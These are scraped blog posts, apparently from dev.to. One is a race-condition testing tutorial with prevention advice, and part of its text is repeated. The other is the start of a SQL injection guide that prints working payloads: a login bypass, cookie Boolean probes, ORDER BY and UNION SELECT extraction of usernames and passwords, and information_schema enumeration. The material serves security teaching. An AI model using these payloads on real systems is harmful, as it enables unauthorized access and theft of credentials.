&lt;p&gt;Watch for any &lt;strong&gt;differences in responses&lt;/strong&gt; or app behavior — even small changes like different emails or weird UI behavior. These deviations are &lt;strong&gt;clues&lt;/strong&gt; that a race condition may exist.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Prove the concept
&lt;/h3&gt;

&lt;p&gt;Try to understand what's happening, remove superfluous requests, and make sure you can still replicate the effects.&lt;/p&gt;

&lt;p&gt;Advanced race conditions can cause unusual and unique primitives, so the path to maximum impact isn't always immediately obvious. It may help to think of each race condition as a structural weakness rather than an isolated vulnerability.&lt;/p&gt;




&lt;h2&gt;
  
  
  Multi endpoint race conditions
&lt;/h2&gt;

&lt;p&gt;We can also send requests to multiple endpoints at the same time. think about the classic logic flaw in online stores where you add an item to your basket or cart, pay for it, then add more items to the cart before force-browsing to the order confirmation page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fktqtjud5rp1gir6fhiqj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fktqtjud5rp1gir6fhiqj.png" alt=" " width="800" height="128"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1&gt;
  
  
  Understanding Multi-Endpoint Race Conditions: Problems and Workarounds
&lt;/h1&gt;

&lt;p&gt;When exploiting &lt;strong&gt;race conditions&lt;/strong&gt;, attackers often target a single vulnerable endpoint. However, when a race condition spans &lt;strong&gt;multiple endpoints&lt;/strong&gt;, synchronizing requests becomes significantly more complex. Even if requests are sent simultaneously, they may not reach or be processed by the server at the same time due to various timing discrepancies.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why Multi-Endpoint Race Conditions Are Challenging
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Network Delays
&lt;/h3&gt;

&lt;p&gt;Network delays can stem from client-to-server communication overhead, front-end processing, or the nature of the HTTP protocol itself:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HTTP/1.1&lt;/strong&gt;: Opens a new TCP connection for each request unless Keep-Alive is explicitly enabled.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTTP/2&lt;/strong&gt;: Uses multiplexing over a single connection, reducing connection-related delays.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These delays usually affect &lt;strong&gt;all requests uniformly&lt;/strong&gt;, so even if there’s a delay, the &lt;strong&gt;relative timing between requests&lt;/strong&gt; may still remain intact.&lt;/p&gt;

&lt;p&gt;If only the &lt;strong&gt;first request&lt;/strong&gt; is slower but the rest arrive close together, it’s likely a connection-related delay. This can often be ignored.&lt;/p&gt;

&lt;h3&gt;
  
  
  Endpoint-Specific Delays
&lt;/h3&gt;

&lt;p&gt;Some endpoints take longer to process than others due to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Complex business logic&lt;/li&gt;
&lt;li&gt;Heavy database operations&lt;/li&gt;
&lt;li&gt;Additional validation steps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These delays impact only the affected endpoints, disrupting synchronization across requests.&lt;/p&gt;

&lt;p&gt;If response times remain inconsistent across multiple requests, even after warming up connections, this indicates endpoint-specific delays that need to be accounted for.&lt;/p&gt;




&lt;h2&gt;
  
  
  Workarounds for Synchronizing Requests
&lt;/h2&gt;

&lt;p&gt;To deal with inconsistencies and improve synchronization, consider the following techniques:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Adjust Request Timing Manually
&lt;/h3&gt;

&lt;p&gt;Manually shift the timing of your requests. For example, send requests to slower endpoints slightly earlier to compensate for the processing time difference.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Use Connection Reuse or HTTP/2
&lt;/h3&gt;

&lt;p&gt;Reducing connection overhead helps requests arrive more predictably:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reuse TCP connections using the &lt;strong&gt;Keep-Alive&lt;/strong&gt; header.&lt;/li&gt;
&lt;li&gt;Prefer &lt;strong&gt;HTTP/2&lt;/strong&gt;, which allows multiple requests to be sent simultaneously over a single connection.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Pad Faster Endpoints
&lt;/h3&gt;

&lt;p&gt;If some endpoints consistently respond faster, slow them down intentionally to align with slower ones:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add delays (e.g., using &lt;code&gt;sleep()&lt;/code&gt; functions, if supported)&lt;/li&gt;
&lt;li&gt;Increase payload size to artificially extend processing time&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Use Turbo Intruder for Fine-Grained Timing Control
&lt;/h3&gt;

&lt;p&gt;Turbo Intruder is highly effective for controlling request timing at the byte level. You can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Send &lt;strong&gt;warm-up requests&lt;/strong&gt; to prepare the backend and eliminate one-time delays&lt;/li&gt;
&lt;li&gt;Precisely schedule real attack requests to align with specific processing windows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This allows you to fine-tune request dispatch with minimal network interference.&lt;/p&gt;

&lt;h2&gt;
  
  
  Additional Tips
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Run multiple iterations to measure and understand timing differences across endpoints.&lt;/li&gt;
&lt;li&gt;Ensure all endpoints use the &lt;strong&gt;same session or authentication context&lt;/strong&gt;, if required.&lt;/li&gt;
&lt;li&gt;Test under consistent conditions to isolate variability in response timing.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Understanding Multi-Endpoint Race Conditions: Problems and Workarounds
&lt;/h1&gt;

&lt;p&gt;When exploiting &lt;strong&gt;race conditions&lt;/strong&gt;, attackers often target a single vulnerable endpoint. However, when a race condition spans &lt;strong&gt;multiple endpoints&lt;/strong&gt;, synchronizing requests becomes significantly more complex. Even if requests are sent simultaneously, they may not reach or be processed by the server at the same time due to various timing discrepancies.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Multi-Endpoint Race Conditions Are Challenging
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Network Delays
&lt;/h3&gt;

&lt;p&gt;Network delays can stem from client-to-server communication overhead, front-end processing, or the nature of the HTTP protocol itself:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;HTTP/1.1&lt;/strong&gt;: Opens a new TCP connection for each request unless Keep-Alive is explicitly enabled.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HTTP/2&lt;/strong&gt;: Uses multiplexing over a single connection, reducing connection-related delays.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These delays usually affect &lt;strong&gt;all requests uniformly&lt;/strong&gt;, so even if there’s a delay, the &lt;strong&gt;relative timing between requests&lt;/strong&gt; may still remain intact.&lt;/p&gt;

&lt;p&gt;If only the &lt;strong&gt;first request&lt;/strong&gt; is slower but the rest arrive close together, it’s likely a connection-related delay. This can often be ignored.&lt;/p&gt;

&lt;h3&gt;
  
  
  Endpoint-Specific Delays
&lt;/h3&gt;

&lt;p&gt;Some endpoints take longer to process than others due to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Complex business logic&lt;/li&gt;
&lt;li&gt;Heavy database operations&lt;/li&gt;
&lt;li&gt;Additional validation steps&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These delays impact only the affected endpoints, disrupting synchronization across requests.&lt;/p&gt;

&lt;p&gt;If response times remain inconsistent across multiple requests, even after warming up connections, this indicates endpoint-specific delays that need to be accounted for.&lt;/p&gt;

&lt;h2&gt;
  
  
  Workarounds for Synchronizing Requests
&lt;/h2&gt;

&lt;p&gt;To deal with inconsistencies and improve synchronization, consider the following techniques:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Adjust Request Timing Manually
&lt;/h3&gt;

&lt;p&gt;Manually shift the timing of your requests. For example, send requests to slower endpoints slightly earlier to compensate for the processing time difference.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Use Connection Reuse or HTTP/2
&lt;/h3&gt;

&lt;p&gt;Reducing connection overhead helps requests arrive more predictably:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Reuse TCP connections using the &lt;strong&gt;Keep-Alive&lt;/strong&gt; header.&lt;/li&gt;
&lt;li&gt;Prefer &lt;strong&gt;HTTP/2&lt;/strong&gt;, which allows multiple requests to be sent simultaneously over a single connection.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Pad Faster Endpoints
&lt;/h3&gt;

&lt;p&gt;If some endpoints consistently respond faster, slow them down intentionally to align with slower ones:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Add delays (e.g., using &lt;code&gt;sleep()&lt;/code&gt; functions, if supported)&lt;/li&gt;
&lt;li&gt;Increase payload size to artificially extend processing time&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Use Turbo Intruder for Fine-Grained Timing Control
&lt;/h3&gt;

&lt;p&gt;Turbo Intruder is highly effective for controlling request timing at the byte level. You can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Send &lt;strong&gt;warm-up requests&lt;/strong&gt; to prepare the backend and eliminate one-time delays&lt;/li&gt;
&lt;li&gt;Precisely schedule real attack requests to align with specific processing windows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This allows you to fine-tune request dispatch with minimal network interference.&lt;/p&gt;

&lt;h2&gt;
  
  
  Abusing rate or resource limits for race conditions-
&lt;/h2&gt;

&lt;p&gt;If connection warming doesn'                                                                                   t synchronize your race condition attack, try the following methods&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Client-Side Delay (Turbo Intruder)&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Turbo Intruder lets you add a short delay &lt;strong&gt;before sending each request&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Problem: This splits the request over &lt;strong&gt;multiple TCP packets&lt;/strong&gt;, so you &lt;strong&gt;can't use single-packet attacks&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Not reliable on &lt;strong&gt;high-jitter targets&lt;/strong&gt; (where network timing is unpredictable).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  &lt;strong&gt;Triggering Server-Side Delay (Smart Bypass)&lt;/strong&gt;
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Abuse rate-limiting&lt;/strong&gt;: Send many &lt;strong&gt;dummy requests&lt;/strong&gt; quickly to the server.&lt;/li&gt;
&lt;li&gt;This &lt;strong&gt;forces the server to slow down processing&lt;/strong&gt; (common anti-abuse feature).&lt;/li&gt;
&lt;li&gt;Now send your real attack request during that slowdown.&lt;/li&gt;
&lt;li&gt;Helps make &lt;strong&gt;single-packet race condition attacks work&lt;/strong&gt; even if delay is needed.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  How to Prevent Race Condition Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;Race conditions occur when two or more operations execute simultaneously and cause unexpected or harmful behavior. Here are practical techniques to prevent them in your applications:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Avoid Mixing Different Data Sources
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Don’t combine data from different sources (e.g., database and cache) when making critical decisions.&lt;/li&gt;
&lt;li&gt;Always rely on a &lt;strong&gt;single, trusted source&lt;/strong&gt;—typically your main database—for sensitive operations like authentication, payments, or order validation.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  2. Make Critical Actions Atomic
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Wrap multi-step processes inside a &lt;strong&gt;single transaction&lt;/strong&gt; to prevent interference between steps.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;For example, when placing an order:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Validate the cart total&lt;/li&gt;
&lt;li&gt;Process the payment&lt;/li&gt;
&lt;li&gt;Save the order&lt;/li&gt;
&lt;li&gt;All of this should happen &lt;strong&gt;in one atomic transaction&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Use Built-in Database Protections
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Enforce constraints to maintain data integrity:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Unique constraints&lt;/strong&gt; (e.g., on username or email)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Foreign key constraints&lt;/strong&gt; to prevent orphan records&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;&lt;p&gt;These automatically prevent many race condition scenarios by rejecting invalid or duplicate data at the database level.&lt;/p&gt;&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  4. Don’t Rely on Sessions to Protect Database Logic
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Sessions should be used for &lt;strong&gt;tracking user identity&lt;/strong&gt;, not for controlling the number of allowed operations.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Use &lt;strong&gt;server-side protections&lt;/strong&gt; instead:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Database-level row limits&lt;/li&gt;
&lt;li&gt;Application-layer rate limiting&lt;/li&gt;
&lt;li&gt;Request locking or queuing where needed&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  5. Keep Session State Consistent
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;When modifying session-related data, update all changes in a &lt;strong&gt;single step&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Use &lt;strong&gt;transactions&lt;/strong&gt; to prevent partially updated or corrupted session data.&lt;/li&gt;
&lt;li&gt;Frameworks and ORMs like &lt;strong&gt;Django&lt;/strong&gt; or &lt;strong&gt;Hibernate&lt;/strong&gt; support transactional session handling—make use of them.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  6. Carefully Consider Stateless Designs (JWT)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Moving state to the client using &lt;strong&gt;JSON Web Tokens (JWT)&lt;/strong&gt; can reduce server-side race conditions.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;But if you go stateless, ensure JWTs are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Securely signed&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Untampered&lt;/strong&gt; (with signature verification on every request)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Short-lived or revocable&lt;/strong&gt; to prevent replay or misuse&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Race condition vulnerabilities are subtle but powerful attack vectors that often slip past traditional security checks. When dealing with multi-endpoint workflows or high-concurrency systems, even minor timing flaws can lead to severe data inconsistencies, privilege escalations, or unauthorized actions.&lt;/p&gt;

&lt;p&gt;By understanding how these vulnerabilities arise—and implementing preventative strategies like atomic transactions, database constraints, and proper session handling—you can significantly reduce the risk. Tools like Turbo Intruder can help uncover these flaws during testing, but real security comes from designing systems that are resilient by default.&lt;/p&gt;

&lt;p&gt;Race conditions are not just bugs; they’re symptoms of deeper architectural oversights. Fix the timing, structure the logic, and secure the flow—because attackers will race you to production.&lt;/p&gt;

&lt;p&gt;Thanks for reading my blog on race conditions, this blog was inspired by the portswigger labs on race condition which gave hands on practical demo in addition to the techniques. All of which I have tried to simplified and provided them in this blog&lt;/p&gt;




&lt;p&gt;.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>buildinpublic</category>
      <category>beginners</category>
    </item>
    <item>
      <title>SQL Injection: All Concepts, All Payloads, All In One</title>
      <dc:creator>Advik Kant</dc:creator>
      <pubDate>Sun, 15 Jun 2025 10:28:16 +0000</pubDate>
      <link>https://forem.com/deoxys/sql-injection-all-concepts-all-payloads-all-in-one-4ch5</link>
      <guid>https://forem.com/deoxys/sql-injection-all-concepts-all-payloads-all-in-one-4ch5</guid>
      <description>&lt;p&gt;&lt;strong&gt;Mastering SQL Injection: A Deep Dive Guide for Beginners &amp;amp; Pros&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; This guide assumes you have a safe, legal testing environment (e.g., DVWA, OWASP Juice Shop, local VMs). Never test against unauthorized targets.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  1. What Is SQL Injection?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fltuljoa96xmworxac8t8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fltuljoa96xmworxac8t8.png" alt=" " width="512" height="341"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SQL Injection (SQLi) is a web security vulnerability that arises when applications incorporate untrusted user input directly into SQL queries. By injecting specially crafted strings containing SQL syntax attackers can intercept or alter query logic, enabling them to bypass authentication, extract sensitive data, modify or delete records, and even execute administrative operations on the database server.&lt;/p&gt;

&lt;p&gt;In a typical injection flow, user-supplied values from form fields, URL parameters, or headers are concatenated into a query string. For example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'" + userInput + "'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;userInput&lt;/code&gt; is &lt;code&gt;1 OR 1=1&lt;/code&gt;, the query becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;products&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That second condition, &lt;code&gt;1=1&lt;/code&gt;, is always true. Consequently, the application returns all product rows instead of just the intended one. We choose this payload because it introduces an always true expression, demonstrating how simple modifications bypass intended query logic. With more intricate payloads, attackers can escalate to full database compromise by combining additional clauses or comments.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. How to Detect SQL Injection Vulnerabilities
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. Error Observation:&lt;/strong&gt;&lt;br&gt;
Submit a single quote (&lt;code&gt;'&lt;/code&gt;) or double quote (&lt;code&gt;"&lt;/code&gt;) into form fields, query parameters, or HTTP headers. Many databases return descriptive error messages syntax errors, type mismatches, or XML parsing failures—that reveal the injection point. Pay attention to unexpected HTTP 500 status codes or custom error pages.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Behavioral Differences:&lt;/strong&gt;&lt;br&gt;
Inject boolean conditions such as &lt;code&gt;OR 1=1&lt;/code&gt; versus &lt;code&gt;OR 1=2&lt;/code&gt;. Observe differences in page content, HTTP status codes, or even minor changes like the presence/absence of certain HTML elements. This approach works because the application processes both valid and invalid conditions, enabling confirmation of injection viability.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Timing Tests:&lt;/strong&gt;&lt;br&gt;
For blind environments, inject database-specific sleep functions (&lt;code&gt;SLEEP(5)&lt;/code&gt; in MySQL, &lt;code&gt;WAITFOR DELAY '0:0:5'&lt;/code&gt; in MSSQL, &lt;code&gt;pg_sleep(5)&lt;/code&gt; in PostgreSQL). If the response is significantly delayed, it indicates the injected condition was evaluated. This payload is chosen to rely solely on server response time, bypassing the need for direct output.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. Automated Scanning:&lt;/strong&gt;&lt;br&gt;
Use tools like sqlmap or Burp Suite’s Scanner to enumerate potential injection points. These can automate payload generation and response analysis. However, they might miss custom business logic vulnerabilities or sophisticated WAF bypasses, so manual testing remains essential.&lt;/p&gt;


&lt;h2&gt;
  
  
  3. Retrieving Hidden Data &amp;amp; Subverting Logic
&lt;/h2&gt;
&lt;h3&gt;
  
  
  3.1 Authentication Bypass (Tautology)
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Situation:&lt;/strong&gt; A login form builds a query like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'$user'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'$pass'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Injection:&lt;/strong&gt; Supply &lt;code&gt;username: ' OR '1'='1&lt;/code&gt; and any password:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; &lt;span class="k"&gt;OR&lt;/span&gt; &lt;span class="s1"&gt;'1'&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'1'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'foo'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This payload works by injecting an always true condition (&lt;code&gt;'1'='1'&lt;/code&gt;) that subverts the AND logic. We choose it because it reliably bypasses simple credential checks without needing to know valid usernames or passwords in advance. The database returns the first matching user record, often granting admin access.&lt;/p&gt;

&lt;h3&gt;
  
  
  3.2 Conditional Login Test
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Situation:&lt;/strong&gt; A session tracking cookie, e.g., &lt;code&gt;TrackingId&lt;/code&gt;, triggers a custom message “Welcome back!” when valid. Internally:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;sessions&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;'TrackingId'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Injection:&lt;/strong&gt; Toggle the condition to true/false:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Cookie: TrackingId=xyz' AND '1'='1
Cookie: TrackingId=xyz' AND '1'='2
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;These payloads work by appending additional Boolean expressions to the original query. Choosing &lt;code&gt;'AND '1'='1'&lt;/code&gt; ensures the condition remains valid, causing the application to confirm the session. Conversely, &lt;code&gt;'AND '1'='2'&lt;/code&gt; always fails, demonstrating how Boolean differences reveal injection points.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. UNION-Based Injection
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 Determining Column Count
&lt;/h3&gt;

&lt;p&gt;Applications often return multiple columns. Before using &lt;code&gt;UNION&lt;/code&gt;, attackers must match the column count and data types.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Payloads:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;?id=1' ORDER BY 1--
?id=1' ORDER BY 2--
... 
?id=1' ORDER BY N--  # yields an error when N exceeds column count
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Each increment tests if the application accepts ordering by that column index. When an error occurs, it indicates the true column count. We choose this method because it’s reliable and doesn’t require prior schema knowledge.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.2 Finding Compatible Data Types
&lt;/h3&gt;

&lt;p&gt;Next, verify which columns accept strings versus numbers:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, NULL --  # if two columns
'&lt;/span&gt; &lt;span class="k"&gt;UNION&lt;/span&gt; &lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="s1"&gt;'a'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="c1"&gt;--      # test string-integer mix&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using &lt;code&gt;NULL&lt;/code&gt; bypasses strict type requirements, while mixing literals tests each column’s compatibility. This approach ensures subsequent data retrieval queries won’t fail due to type mismatches.&lt;/p&gt;

&lt;h3&gt;
  
  
  4.3 Extracting Data
&lt;/h3&gt;

&lt;p&gt;Once aligned, append your own &lt;code&gt;SELECT&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT id, username, password FROM users--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This payload works by merging legitimate query results with attacker-controlled data pulled from the &lt;code&gt;users&lt;/code&gt; table. Choosing &lt;code&gt;id, username, password&lt;/code&gt; aligns with common columns of interest for credential harvesting.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. Examining the Database (Information Schema)
&lt;/h2&gt;

&lt;p&gt;When table/column names are unknown, SQLi attackers leverage the metadata tables:&lt;/p&gt;

&lt;h3&gt;
  
  
  5.1 Enumerate Tables
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="s1"&gt;' UNION SELECT NULL, table_name FROM information_schema.tables--
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Retrieves a list of all tables. We choose &lt;code&gt;information_schema.tables&lt;/code&gt; because it’s universally supported across SQL databases.&lt;/p&gt;

&lt;h3&gt;
  
  
  5.2 Enumerate Columns
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
